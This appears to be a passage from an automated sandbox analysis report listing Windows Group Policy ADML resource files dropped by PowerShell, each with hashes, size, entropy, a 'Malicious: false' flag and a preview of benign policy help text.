Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Windows Error Reporting</displayName>.. <description>Windows Error Reporting</description>.. <resources>.. <stringTable>.. <string id="CAT_WindowsErrorReporting">Windows Error Reporting</string>.. <string id="CAT_WindowsErrorReportingAdvanced">Advanced Error Reporting Settings</string>.. <string id="CAT_WindowsErrorReportingConsent">Consent</string>.. <string id="PCH_AllOrNoneDef">Default application reporting settings</string>.. <string id="PCH_AllOrNoneDef_Exclude">Do not report any application errors</string>.. <string id="PCH_AllOrNoneDef_Help">This policy setting controls whether errors in general applications are in

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\EventForwarding.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2548
Entropy (8bit):	4.859559586253688
Encrypted:	false
SSDEEP:	24:3KbFDiCUSNsojnPFc9QABiRop6FkY060S9vEWmwlCXFfD1ui/5asx6g7wGuVmoeV:65DySNPjPuSRopa0i8tFBnBrhwGZoeV
MD5:	0A764BB7FD1C2BC83CBBA71BDC3F8EB0
SHA1:	A7234960D73C854F981680AD4691ACCC5E3F2024
SHA-256:	EF69C13304DBA64691227AC0C87F03C89120BEB6003722C43E390BDA572331AD
SHA-512:	0F5E549755270FD2E40669321F4E69581BBCB79CE7D905BB6E95E9251C10B76681C6ED19BA623D17C8AD56DD39A6D0104BE60DD0B5FE8045BC4EB8217ED4E772
Malicious:	false
Preview:	<?xml version="1.0"?>..<policyDefinitionResources revision="1.0" schemaVersion="1.0">...<displayName>Event Forwarding</displayName>.....<description>Policy Definitions For Event Forwarding</description>.....<resources>......<stringTable>.......<string id="EventForwarding">Event Forwarding</string>.... <string id="ForwarderResourceUsage">Configure forwarder resource usage</string>.. <string id="ForwarderResourceUsage_Help">This policy setting controls resource usage for the forwarder (source computer) by controlling the events/per second sent to the Event Collector.....If you enable this policy setting, you can control the volume of events sent to the Event Collector by the source computer. This may be required in high volume environments.....If you disable or do not configure this policy setting, forwarder resource usage is not specified.....This setting applies across all subscriptions for the forwarder (source computer).</string>.. .....<

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\EventLog.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	7756
Entropy (8bit):	4.821366715902771
Encrypted:	false
SSDEEP:	192:EuPOfDUFRKtm/P2R7gHzBwRTLfdpSJlIau:bPOfA+g2RCudH
MD5:	B58D99D32DF6E1076E976FA8ABC3EEEA
SHA1:	4AB6E78ECDC35F98D09AE29B0D7C8D9AB19A91FD
SHA-256:	2863EF5940EC4685D1CF61891191647CE435F325720BC9626A0F2214F56E6EC9
SHA-512:	9A0FF4D6D9BB1A53F01A24DD946945CAB0D4A48053035A8435B4CFB0DCF7690C0CC418E72911FCFBA8379617D328253C236F307F62D1627B0087747816D6AAFE
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Channel_Log_AutoBackup">Back up log automatically when full</string>.. <string id="Channel_Log_AutoBackup_Help">This policy setting controls Event Log behavior when the log file reaches its maximum size and takes effect only if the "Retain old events" policy setting is enabled.....If you enable this policy setting and the "Retain old events" policy setting is enabled, the Event Log file is automatically closed and renamed when it is full. A new file is then started.....If you disable this policy setting and th

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\EventViewer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2368
Entropy (8bit):	4.905404060928818
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yQHXEjH4Mj1Zy3snm5R0mM/CJ4tFOmBXOm70oV:cgeD5x8gm8fKI/szB4tFZUoV
MD5:	45EB132CB1F927D22C54EC385A552153
SHA1:	634D98CB8F8BFE12E9CD19CD4764DFCF134CC011
SHA-256:	8911189FB55D6DE6DA90E3ED57336AA7F2323520CF2719CED2E91B76B4AB085D
SHA-512:	32ECD99085199B267FEA70CA5363DFF1270BC083107E80368FD7F48C69E8646078ACFFA3206692CF3F2BF447D4EBB5BBB251F32F1DD712927F836F5751FF47AF
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="EventViewer">Event Viewer</string>.. <string id="EventViewer_RedirectionProgram">Events.asp program</string>.. <string id="EventViewer_RedirectionProgram_Help">This is the program that will be invoked when the user clicks the events.asp link.</string>.. <string id="EventViewer_RedirectionProgramCommandLineParameters">Events.asp program command line parameters</string>.. <string id="EventViewer_RedirectionProgramCommandLineParameters_Help">This specifies the command line parameters that will be p

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Explorer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (311), with CRLF line terminators
Category:	dropped
Size (bytes):	4363
Entropy (8bit):	4.775276168335737
Encrypted:	false
SSDEEP:	96:LeD5pmUZsDKU5h9ERZR2s0vJVu2MNFBBzUysV:EpZsDx9g0vJVBMNXBzi
MD5:	B8789197191F1A2C461797C595FD8415
SHA1:	DDCB4910A18C318E8E90CF29A92FE70ADFDB20EE
SHA-256:	6CBA67BF6D239FA46E6F2566F1F8653DCBA053DC828AA731DD768C525AF1BB1D
SHA-512:	D05BF9DE3D8ADD27206F4819283E89533AC83ED97AF159023EF46393B5CAB9D5D95D4C32D15C21A0E895CE3820418D71D29553E420F1ADAE7225AEEEFBE1A91E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AlwaysShowClassicMenu">Display the menu bar in File Explorer </string>.. <string id="AlwaysShowClassicMenu_Help">This policy setting configures File Explorer to always display the menu bar.....Note: By default, the menu bar is not displayed in File Explorer.....If you enable this policy setting, the menu bar will be displayed in File Explorer.....If you disable or do not configure this policy setting, the menu bar will not be displayed in File Explorer.....Note: When the menu bar is not displayed, users can ac

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\ExternalBoot.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2806
Entropy (8bit):	4.897245212995506
Encrypted:	false
SSDEEP:	48:cgeD5x8gmFa0I0aUFxafehoPd7idK6a0WaZP5Zo5Z0fd5Z1zarCaO5ZVwKd5ZUwY:LeD5pmFa0I0a4afIa9aZPMcda2aOSYvY
MD5:	8417153A964B75197B8A08F35D62C381
SHA1:	2A4820E67495FCCC524E72AFAB923803755C9F2B
SHA-256:	F8B25ED02542858011F65AE02EBD1C4A62558EE28B76A281656FCF1A70E772BC
SHA-512:	F1DEC0EA5AA367C94CCE27B71B3412FCE370CFF75DF44CCEA5CA931BB52992B30D252144188DFA93FE9E5EF573419DF8BCAEAE9C5DFBA8936E24C80CBDC4D291
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Portable Workspace</displayName>.. <description>This file contains Portable Workspace policy settings.</description>.. <resources>.. <stringTable>.. <string id="PortableOperatingSystem">Portable Operating System</string>.. <string id="PortableOperatingSystem_Launcher_DisplayName">Windows To Go Default Startup Options</string>.. <string id="PortableOperatingSystem_Launcher_Help">....This policy setting controls whether the PC will boot to Windows To Go if a USB device containing a Windows To Go workspace is connected, and controls whether users can make changes using the Windows To Go Startup Options Control Panel item.....If you enable

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\FileHistory.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	988
Entropy (8bit):	5.031142948192133
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3F6Et8mTc48vzNgW4ZdNHW4fFV:cgeD5x8gm/TagW4Z/HW4fFV
MD5:	76EF9C90CFE65DE37CDBCD4847D584BE
SHA1:	72977FE03FBED6B2FF3C750405CA0838A547471A
SHA-256:	9341A249C8DB566C91BD171482DAA2FAF9D17EF757DB6CBE6829F75D4FCE9492
SHA-512:	2788E014B9335C70D55EBC24139D09C862D3D016B043566A126E2956B53622F443AEE92B5C28BA83B5C670AD03D948BB6D4435B090BFBB992E33DC2F83D01E2F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>File History</displayName>.. <description>File History</description>.. <resources>.. <stringTable>.. <string id="FileHistoryName">File History</string>.. <string id="DisableFileHistory">Turn off File History</string>.. <string id="DisableFileHistory_explanation">This policy setting allows you to turn off File History.....If you enable this policy setting, File History cannot be activated to create regular, automatic backups.....If you disable or do not configure this policy setting, File History can be activated to create regular, automatic backups.</string>.. </stringTable>.. </resources>..</policyDefinitionResources>..

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\FileRecovery.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2975
Entropy (8bit):	4.8069063103068785
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKn8YD6KENYYqgFd67gJDqrq5x0BsYukrtP4XEgV:LeD5pm3D0uWFm2DaqjCswtPeV
MD5:	353E01C633CBAF640B8238C535A4E3BC
SHA1:	0FC2C8473CB1298245F8D2893D796C3B3BEA14EC
SHA-256:	3A5992E2DC42003E6F1547CE4253134CF8C6270DA6F68FCB6E3FA854B07FADE1
SHA-512:	A7BE0B5FF87A6EEBD9A1CCA5F72DF27DD9A1DBEB127ADE55AC80CA10C7A5084EB87ECE4143724E5920057F6E533AE809E551C62E88876CCF8A16FAF8AB8A1358
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WdiScenarioCategory">Corrupted File Recovery</string>.. <string id="WdiScenarioExecutionPolicy">Configure Corrupted File Recovery behavior</string>.. <string id="WdiScenarioExecutionPolicyExplain">This policy setting allows you to configure the recovery behavior for corrupted files to one of three states:....Regular: Detection, troubleshooting, and recovery of corrupted files will automatically start with a minimal UI display. Windows will attempt to present you with a dialog box when a system restart is

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\FileRevocation.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (591), with CRLF line terminators
Category:	dropped
Size (bytes):	2614
Entropy (8bit):	4.778560797244179
Encrypted:	false
SSDEEP:	48:c4D5FL8golENFW8jxk1tQYY4DXOc3I+4QZHD75LhhAOoXV:RD5FPoWNFWweQD4TV1Zv5LhHoXV
MD5:	85E6DEC7D2E9D6A930AE1A7B4C9E6CE9
SHA1:	A8C71091F223CD0DCDF3AA8AE4A2D6E1888FD69E
SHA-256:	1E5E1B42CFB88B5072DADEB281779586616FC8A3493F66EE17557A19D9ABC27D
SHA-512:	F0076C0E98DE7CBD06723E647B7CF654CF85CE262832321606FCA066B22FC4C70635D183F2E1F8BD77AA9FC99F9EDEE8BF909DD8708AA3C01F0A8164FEEE9D98
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8" standalone="yes"?>.. (c) Microsoft Corporation -->..<policyDefinitionResources xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0">.. Documentation says these are optional, but GPEdit does not agree-->.. <displayName>File Revocation Policy Settings</displayName>.. <description>File Revocation Policy Settings</description>.. <resources>.. <stringTable>.. <string id="FileRevocationCategory">File Revocation</string>.. <string id="DelegatedPackageFamilyNames_Name">Allow Windows Runtime apps to revoke enterprise data</string>.. <string id="DelegatedPackageFamilyNames_Help">Windows Runtime applications can protect content which has been associated with an enterprise identifier (EID), but can only revoke access to content it protected. To allow an application to revoke

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\FileServerVSSProvider.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1516
Entropy (8bit):	4.992519754988731
Encrypted:	false
SSDEEP:	24:2dgeD5eo8g4t4+3Fbef61yjhZEPaREbCF2LRz8u4tUtTY45y9Qy52fKKnKHPaMfV:cgeD5x8gU8fK8hOaRmC0Rz8u4tYTFynR
MD5:	BFBE8A2102D1DAD98FC3B6A7C9D49809
SHA1:	D2B7FA51C1458FF163A3A687687BC79615A0950E
SHA-256:	DA1FFF29710B8B4D5D3361E38FE64B66D7A39F70AB98D23F02C2F285C7298817
SHA-512:	798D71F3589C310441205512EDF99AC939A53BD7A4381BE6908722C9C41B03788AE7BE9D2B59083D7D39E76D9CFA8D7EA1DD4BCFD3800602188A6185C64B6941
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.2" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. Component name -->.. <string id="Cat_FileShareShadowCopyProvider">File Share Shadow Copy Provider</string>.. Component name -->.... <string id="Pol_EncryptProtocol">Allow or Disallow use of encryption to protect the RPC protocol messages between File Share Shadow Copy Provider running on application server and File Share Shadow Copy Agent running on the file servers.</string>.. <string id="Pol_EncryptProtocol_Help">Determines whether the RPC protocol messagese used by VSS for SMB2 File Shares feat

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\FileSys.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (466), with CRLF line terminators
Category:	dropped
Size (bytes):	5047
Entropy (8bit):	4.778189792452432
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fK0BR2avs7FFiTs5UXs5Zg3NZRWwzL9oaVdQMxITRnRZ6LutwOXsQU:LeD5pmus7asQsyxVOnJIV
MD5:	F1951FB8C3B9EEBE23ABEF5EE23DBA39
SHA1:	FBAB4967D796A04FB164024D8C543D676E44BD24
SHA-256:	40A867EB9B6B1644CDF87AC77D346485DA153B245603237FA9A76E2C68ACFD4B
SHA-512:	9604C7324D2FE2EC3C40D90E0C3747B6BBBF20186F7A6A695D947C9F1FEB727875066CC700C31291BA156C0BA83893917AF4A7BEDC37208D4500B88DF22D9079
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Filesystem">Filesystem</string>.. <string id="NTFS">NTFS</string>.. <string id="SymlinkEvalExplain">Symbolic links can introduce vulnerabilities in certain applications. To mitigate this issue, you can selectively enable or disable the evaluation of these types of symbolic links:....Local Link to a Local Target..Local Link to a Remote Target..Remote Link to Remote Target..Remote Link to Local Target....For further information please refer to the Windows Help section....NOTE: If this policy is Disabled or

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\FolderRedirection.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (565), with CRLF line terminators
Category:	dropped
Size (bytes):	7951
Entropy (8bit):	4.723629934992763
Encrypted:	false
SSDEEP:	96:LeD5pm0w3a/059U9dRz1zAkpsx1zAkWMOUH+fH/s3RpeWCBNTAynMydWcS5Pv0rA:EEVzAT7p67WMF+3s3RV5yMydWz5P0A
MD5:	B0E17494D027C66AD4CC97FE5D2E6108
SHA1:	D382CFCD7145A738FC23FE78BC925DB11E9C5A42
SHA-256:	0144A87B8D59221D8C76B55A64743F6AD72FEC812242669C05421D4D07321383
SHA-512:	65256FCD792B464E49B8A04D00442F5B4FC358337E3F6B3DDA4F3B14BA7C460A9825F1D7FF22A2C39FC1A12C188C724C0C82D3FB1A602D193D5F693D8D4335BA
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Fdeploy_Cat">Folder Redirection</string>.. <string id="LocalizeXPRelativePaths">Use localized subfolder names when redirecting Start Menu and My Documents</string>.. <string id="LocalizeXPRelativePaths_Help">This policy setting allows the administrator to define whether Folder Redirection should use localized names for the All Programs, Startup, My Music, My Pictures, and My Videos subfolders when redirecting the parent Start Menu and legacy My Documents folder respectively.....If you enable this policy s

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\FramePanes.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2163
Entropy (8bit):	4.8446705224824
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yEThu85fKbISIiSPks6/jvY/wAibISvVviR0OlnIcBV:cgeD5x8gm8fK+oKWkx7v7SmVviBV
MD5:	15395250ABFE245E09EDEA1B6537814E
SHA1:	BCD13824A7D7E4DDDF9F7F60EEC6149D6F10F1D4
SHA-256:	CADF1A1ED7AF5758824AC8A710730356758359E4CF0B61B989B76A3BA9DADFF0
SHA-512:	6C4337CD68D38FC32E6AA4BEAB133AEC2E7F4DA435092F7359CAF6859E24B3FC2C6D1D9F19886DEE9F726CF1F3BD993F4FF9F1A9F626024EC593486E75B81216
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ExplorerFramePanePolicies">Explorer Frame Pane</string>.. <string id="PreviewPane">Turn on or off details pane</string>.. <string id="PreviewPane_DropDownList_Show">Always show</string>.. <string id="PreviewPane_DropDownList_Hide">Always hide</string>.. <string id="PreviewPane_help">This policy setting shows or hides the Details Pane in File Explorer.....If you enable this policy setting and configure it to hide the pane, the Details Pane in File Explorer is hidden and cannot be turned on by the

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\GameExplorer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1897
Entropy (8bit):	4.8809825480443285
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKl5wrZqMZDrABpO+ODR5/aAo19ArdFV:LeD5pmLGZqi4kRhaAo10dFV
MD5:	85EE206DDBF793929AC0467A02312D46
SHA1:	27550C4F8815DF919184B033AD36AD864CD5FA84
SHA-256:	9F9F0778ABA650963783D793C7253CA72B4A7CEF436A4E34D4B5AEA6DD65BB95
SHA-512:	B76B6D2E2F3B8B4B42CFD8B609EAAAEAC8B974C11D77CA00B5A32980C43EA9F415543D4C081F4E820D58D601A76EA098F01491820CEFD40E2766488923EAF889
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DownloadGameInfo">Turn off downloading of game information</string>.. <string id="DownloadGameInfo_Help">Manages download of game box art and ratings from the Windows Metadata Services.....If you enable this setting, game information including box art and ratings will not be downloaded. ....If you disable or do not configure this setting, game information will be downloaded from Windows Metadata Services.</string>.. <string id="GAMEUX">Game Explorer</string>.. <string id="ListRecentlyPlayed">Turn off

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Globalization.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (486), with CRLF line terminators
Category:	dropped
Size (bytes):	25531
Entropy (8bit):	4.651678772761436
Encrypted:	false
SSDEEP:	384:3G+fZ/NAlGQpr1EVa+3+O+kDeZCwFBAA5ykHj0Yz0hSxqGq0:W6NAlGQpr2oSDy5PGwPH
MD5:	76A8A380A63A9348769B4A94D9EEF57F
SHA1:	B20DFDC04FB839A890E83A590020CCF263EB338E
SHA-256:	7FCB7F49FCEA58D4CFD70A65394DD7E7FD5404D7E51225FBB212035CEA78DF79
SHA-512:	D9F454A57DEE30397CA8233DBD9EBD3E136FBE53B99D34572A04960B6C2785F3B1FECC914B580FA1C033A8952C4C072FF264FAFD1345EB76083B21E3C1482A61
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="CustomLocalesNoSelect">Disallow selection of Custom Locales</string>.. <string id="CustomLocalesNoSelect_Help">This policy setting prevents a user from selecting a supplemental custom locale as their user locale. The user is restricted to the set of locales that are installed with the operating system.....This does not affect the selection of replacement locales. To prevent the selection of replacement locales, adjust the permissions of the %windir%\Globalization directory to prevent the installation of locale

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\GroupPolicy-Server.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (301), with CRLF line terminators
Category:	dropped
Size (bytes):	1487
Entropy (8bit):	4.93565859545614
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yczWOV1zWI6+xZAlxP84b6M119Z3icCV:cgeD5x8gm8fKmfg7I1/ZS9V
MD5:	721DE72286ED158412B12054999D879D
SHA1:	3E9668AD9CE409FC80B008D56BA0C213CEDD2B4B
SHA-256:	A87BB0424E1D7DEF0F6D544530A32ABB9ED6D448969FEB8C5985F30E0FD71B65
SHA-512:	A35D98E011DB3E0050FE3695F49576E2229F627D8A967907CB28B85A86762FD969D63CB89E4FE692CDA4B4F4211502F37B53C5C97FADC6A205E8174A63A9E285
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ProcessTSUserLogonAsync">Allow asynchronous user Group Policy processing when logging on through Remote Desktop Services..</string>.. <string id="ProcessTSUserLogonAsync_Help">This policy setting allows Microsoft Windows to process user Group Policy settings asynchronously when logging on through Remote Desktop Services. Asynchronous user Group Policy processing is the default processing mode for Windows Vista and Windows XP.....By default, Window Server processes user Group Policy settings synchronously.....I

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\GroupPolicy.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (772), with CRLF line terminators
Category:	dropped
Size (bytes):	60292
Entropy (8bit):	4.712085259009764
Encrypted:	false
SSDEEP:	768:eOZhoxHoAJPf9Op1fJDBRLPz5E/tW/4HnQ:eOZ+xIGAlBRLPz5E/8gw
MD5:	3EC08BDFFA220598C2FE18E65DC57F55
SHA1:	7E91322DA98DAA4F971A0CEEE5589D0AA601A40E
SHA-256:	BF01A53E4DD9D9A982152BB2AF4F6B78DB2E6B26D0E3F80D192AC647FAFD3261
SHA-512:	ED99C8F50AD90322E3844D63A29E573B6DE5ACA73A1C9111757B8331B6325BE9D9840D3C0945F124E058BDAB07A364360B4ECFEF14CB472487ECF6DBB7A7B606
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ResetDfsClientInfoDuringRefreshPolicy">Enable AD/DFS domain controller synchronization during policy refresh</string>.. <string id="ResetDfsClientInfoDuringRefreshPolicy_Help">Enabling this setting will cause the Group Policy Client to connect to the same domain controller for DFS shares as is being used for Active Directory.....</string>.. <string id="DisableAOACProcessing">Turn off Group Policy Client Service AOAC optimization</string>.. <string id="DisableAOACProcessing_Help">This policy setting p

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\GroupPolicyPreferences.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (500), with CRLF line terminators
Category:	dropped
Size (bytes):	133320
Entropy (8bit):	4.822585844934633
Encrypted:	false
SSDEEP:	3072:TaSaHapabacaEa8aqapalasa4aMayauauaSa+awaOaW:Y
MD5:	D1A5CF9F95B52D0C47DE6C6BBA860D0A
SHA1:	112212D522046D296E4298AD5EEED40429FDAF28
SHA-256:	D79EED1FFB6836C73A921B8BD79195F3787C17CB15CEB9E27D682F27DAEA3AEF
SHA-512:	E79B6906D42A8F62A0D5B942C93C4A0A474DC6D841D7784D3EB49BDE7CA7B02F07E53D1DD2A0EE7D13974F9A9722F1A77A40C9F9A28F1DDF0955E46756F39034
Malicious:	false
